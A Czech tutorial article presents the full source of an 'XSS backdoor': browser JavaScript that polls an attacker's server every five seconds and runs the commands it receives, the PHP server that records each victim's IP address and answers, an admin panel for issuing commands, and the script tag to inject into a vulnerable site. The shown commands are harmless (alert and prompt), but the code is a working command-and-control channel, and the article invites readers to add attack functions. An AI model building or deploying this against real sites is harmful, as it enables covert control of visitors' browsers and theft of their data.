V uvedených článcích jsme si již řekli, že aplikace typu XSS backdoor je postavena na bázi klient-server. Klienta přitom představuje kód JavaScriptu spuštěný ve webovém prohlížeči, který v pravidelných intervalech odesílá na webový server útočníka HTTP požadavky. Pomocí proměnných v jednotlivých requestech může předávat data na stranu serveru a z odpovědí vrácených na zaslané požadavky může získávat příkazy připravené útočníkem.
Samotné odesílání požadavků na straně klienta je nejjednodušší zařídit využitím funkce setInterval(), která se postará o provedení akce v pravidelných intervalech a objektu XMLHttpRequest (respektive XdomainRequest), který zařídí skryté odesílání požadavků na pozadí napadené webové aplikace. Samotný kód klienta, který disponuje útočnými funkcemi omezenými pouze na alert a prompt, je opravdu velice jednoduchý. Prohlédnout si jej můžete v následujícím výpisu.
<?php
@session_start();
header("Content-Type: text/javascript");
?>
function pozdrav() {alert("Ahoj uživateli")}
function dotaz() {odpoved = prompt("Jak se jmenuješ?")}
function sendXMLHttpRequest(answ) {
answ = answ?"&odpoved="+answ:"";
xhr = window.XDomainRequest?new XDomainRequest():new XMLHttpRequest();
if (xhr) {
xhr.open("GET", "http://www.soom.cz/projects/XSSbackdoorDemo/xssproxyserver.php?idclient=<?php echo session_id(); ?>" + answ, true);
xhr.onload = zpracujOdpoved;
xhr.send(null);
odpoved="";
}
}
function zpracujOdpoved() {
var prikaz = xhr.responseText;
if (prikaz == "pozdrav") pozdrav();
if (prikaz == "dotaz") dotaz();
}
var odpoved = "";
setInterval("sendXMLHttpRequest(odpoved)", 5000);
Stejně jednoduchý je také kód serverové části XSS backdooru. Tu je možné založit na použití databáze, nebo souborů. Já zvolil použití souborů, přičemž každému z klientů jsou přiřazeny soubory s příponou .dat (slouží jako zdroj informací o čase posledního přístupu klienta a o jeho IP adrese), .out (obsahuje příkazy zadané útočníkem) a .in (obsahuje odpovědi klienta). Vzhledem k tomu, že jsou při použití XSS backdooru jednotlivé požadavky zasílány napříč doménami, je důležité použití HTTP hlavičky Access-Control-Allow-Origin: povolující komunikaci s jinou doménou.
<?php
header("Cache-Control: no-cache");
header("Pragma: no-cache");
header('Access-Control-Allow-Origin: *');
if (empty($_GET["idclient"])) exit(0);
$idclient = trim($_GET["idclient"]);
if (!ereg("^[a-zA-Z0-9]{8,40}$", $idclient)) exit(0);
if (isset($_GET["odpoved"]))
file_put_contents("clients/$idclient.in", htmlspecialchars($_GET["odpoved"])."\n<br>\n", FILE_APPEND);
if (getenv('HTTP_X_FORWARDED_FOR'))
$ipel = htmlspecialchars(trim(getenv('REMOTE_ADDR').'/'.getenv('HTTP_X_FORWARDED_FOR')));
else
$ipel = htmlspecialchars(trim(getenv('REMOTE_ADDR')));
file_put_contents("clients/$idclient.dat", $ipel);
if (file_exists("clients/$idclient.out") && trim(file_get_contents("clients/$idclient.out")) != '') {
readfile("clients/$idclient.out");
}
file_put_contents("clients/$idclient.out", "");
?>
Ačkoliv již máme vytvořeny obě části XSS backdooru (klienta i server), stále nám ještě něco chybí. Tou chybějící částí skládanky je administrační rozhraní, pomocí kterého může útočník zadávat příkazy jednotlivým klientům a číst jejich odpovědi. Kód této části aplikace zobrazuje následující výpis.
<?php
$idClient = htmlspecialchars(trim($_GET["idClient"]));
$command = htmlspecialchars(trim($_GET["command"]));
if (!empty($idClient) && empty($command))
$visibility = '';
else
$visibility = 'none';
if (!empty($idClient) && !empty($command) && ereg("^[a-zA-Z0-9]{8,40}$", $idClient)) {
if (file_exists("clients/".$idClient.".dat"))
file_put_contents("clients/".$idClient.".out", $command);
$refresh=";url=".$_SERVER['SCRIPT_NAME'];
}
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta http-equiv="Refresh" content="4<?php echo $refresh; ?>">
<link rel="StyleSheet" href="/base.css" type="text/css">
<title>XSS backdoor admin</title>
</head>
<body>
<div align="center">
<table border="0">
<tr>
<td style="width:200px"></td><td style="width:468px"></td><td style="width:200px"></td>
</tr>
<tr>
<td colspan="3" align="center" style="background-color:#0F0F0F">
<img src="/images/banners/banner_static1.jpg"><br>
<h2>XSS backdoor admin</h2>
</td>
</tr>
<tr>
<td align="center" style="background-color:#0F0F0F">
<?php
foreach (glob("clients/*.*") as $filename) {
if ((time() - filectime($filename)) >= 500) unlink($filename);
}
foreach (glob("clients/*.dat") as $filename) {
$ipAddress = file_get_contents($filename);
$idClientFile = substr($filename, 8, strlen($filename)-12);
if ((time() - filectime($filename)) >= 15) {
unlink($filename);
if (file_exists("clients/".$idClientFile.".out")) unlink ("clients/".$idClientFile.".out");
if (file_exists("clients/".$idClientFile.".in")) unlink ("clients/".$idClientFile.".in");
}
echo "<a href='?idClient=$idClientFile'>$ipAddress</a><br>";
echo "<small>".StrFTime("%d.%m.%Y %H:%M", filectime($filename))."<br>";
if (file_exists("clients/".$idClientFile.".out")) {
readfile("clients/".$idClientFile.".out");
}
echo "</small><br>";
}
?>
</td>
<td align="center">
<?php if (file_exists("clients/".$idClient.".in")) readfile("clients/".$idClient.".in"); ?>
</td>
<td align="center" style="background-color:#0F0F0F">
<br>
<form method="GET" style="display:<?php echo($visibility); ?>">
<select name="command" size="2" style="width:100px">
<option value="pozdrav">pozdrav
<option value="dotaz">dotaz
</select>
<input type="hidden" id="idClient" name="idClient" value="<?php echo $idClient; ?>"><br><br>
<input type="submit" value="Ulož příkaz" style="width:100px"><br><br>
</form>
</td>
</tr>
</table><br>
<a href="xssproxyklient.html" title="Testovací klient" target="_blank">Testovací klient</a>
</div>
</body>
</html>
V praxi si celý XSS backdoor můžete vyzkoušet na webové adrese http://www.soom.cz/projects/XSSbackdoorDemo/xssproxyadmin.php, kde najdete administrační rozhraní tohoto nástroje. Pro injektáž klientské části je nutné do zranitelné aplikace propašovat tento kód:
<script src="http://www.soom.cz/projects/XSSbackdoorDemo/xssproxyklient.php"></script>
Pokud se vám myšlenka vytvoření vlastního XSS backdooru líbí, můžete jej snadno rozšířit o další útočné funkce. Inspirovat se můžete například v sérii článků Útočný JavaScript, který naleznete rovněž zde na SOOM.cz.
Plánujeme také zprovoznění plnohodnotného XSS backdooru v podobě on-line projektu zde na SOOMu. Tohoto úkolu se ujal Fil-kun a myslím si proto, že se máme na co těšit.